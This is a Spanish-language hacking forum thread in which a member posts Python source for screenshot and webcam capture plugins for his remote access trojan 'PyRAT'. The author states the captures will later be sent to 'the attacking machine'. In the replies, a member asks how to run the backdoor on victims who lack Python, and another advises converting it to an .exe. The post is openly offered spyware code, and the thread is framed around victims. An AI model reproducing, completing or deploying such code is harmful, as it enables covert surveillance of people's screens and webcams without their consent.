Underc0de

Programación Scripting => Python => Mensaje iniciado por: WhiZ en Noviembre 06, 2013, 03:16:19 PM

Título: Screenshot y WebcamCapture (proyecto PyRAT)
Publicado por: WhiZ en Noviembre 06, 2013, 03:16:19 PM
Bueno Gente! De a poco sigo con todo esto. En esta ocasión les dejo 2 plugins que tengo preparados para añadir a mi simple pero querido PyRAT.

screenshot.py
Código (python) [Seleccionar]
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# screenshot.py

from PyQt4.QtGui import QApplication, QPixmap
from os import environ, mkdir, listdir
from sys import argv
from time import strftime, gmtime

class Screenshot(object):
def __init__(self): 
self.usuario = environ['USER']
if not 'screenshot' in listdir('./'):
mkdir('screenshot')

def capturarPantalla(self):
time = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './screenshot/' + self.usuario + '_' + time + '.png'

app = QApplication(argv)
winId = QApplication.desktop().winId()
width = QApplication.desktop().screenGeometry().width()
height = QApplication.desktop().screenGeometry().height()

captura = QPixmap.grabWindow(winId, 0, 0, width, height)

captura.save(imagen)

def main():
ss = Screenshot()
ss.capturarPantalla()

if __name__ == '__main__':
main()


webcamCapture.py
Código (python) [Seleccionar]
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# webcamCapture.py

from pygame.image import save
import pygame.camera as camera
from os import environ, mkdir, listdir
from time import strftime, gmtime

class WebcamCapture(object):
def __init__(self):

camera.init()
misWebcams = camera.list_cameras()

if len(misWebcams) == 0:
raise Exception('No hay webcam disponible.')
exit()

elif len(misWebcams) == 1:
self.miWebcam = misWebcams[0]

else:
for i in range(len(misWebcams)):
try:
self.miWebcam = misWebcams[i]
break
except:
continue

def capturar(self):
try:
webcam = camera.Camera(self.miWebcam,(640,480))
webcam.start()

self.captura = webcam.get_image()

webcam.stop()
except Exception as e:
print e

def guardarCaptura(self):
self.usuario = environ['USER']

if not 'webcam' in listdir('./'):
mkdir('webcam')

tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'

save(self.captura, imagen)

def main():
wcCapture = WebcamCapture()
wcCapture.capturar()
wcCapture.guardarCaptura()

if __name__ == '__main__':
main()


Espero que les sirva y que en un futuro no muy lejano lo puedan disfrutar de manera integrada a PyRAT.

NOTA: Por ahora guarda las capturas en carpetas locales. Es decir, en vez de enviarnos las capturas, crea una carpeta y las guarda ahí. Por supuesto que cuando tenga el RAT listo esto no va a suceder, sino que las capturas serán enviadas a la máquina atacante (ya veré si lo hago por ftp, por el mismo socket o ambos).

Saludos!
WhiZ
Título: Re:Screenshot y WebcamCapture (proyecto PyRAT)
Publicado por: ANTRAX en Noviembre 06, 2013, 03:58:13 PM
Excelente trabajo bro! Espero que este proyecto siga creciendo!
Al ser tu un integrante del Dev-Team, Underc0de te apoyará en el emprendimiento y en el desarrollo del RAT.
Sientete libre de pedir lo que te haga falta para continuarlo.

En el blog voy a ir poniendo cada avance que tengas del proyecto para darlo a conocer!

http://blog.underc0de.org/2013/11/pyrat-screenshot-y-webcam-capture.html

Felicitaciones por el proyecto!

Saludos!
ANTRAX
Título: Re:Screenshot y WebcamCapture (proyecto PyRAT)
Publicado por: Once en Noviembre 06, 2013, 10:35:37 PM
¡Ingenioso! Buen trabajo bro, me gustaría ver más de este proyecto

Saludos!
Título: Re:Screenshot y WebcamCapture (proyecto PyRAT)
Publicado por: variux en Noviembre 07, 2013, 10:14:07 PM
Una pregunta, normalmente nadie tiene python instalado en su pc (por lo menos las personas que no saben nada de informática, posibles víctimas), como haríamos para ejecutar el backdoor, solo es una duda
Título: Re:Screenshot y WebcamCapture (proyecto PyRAT)
Publicado por: ANTRAX en Noviembre 07, 2013, 10:21:50 PM
Lo podes pasar a .exe

Saludos!
ANTRAX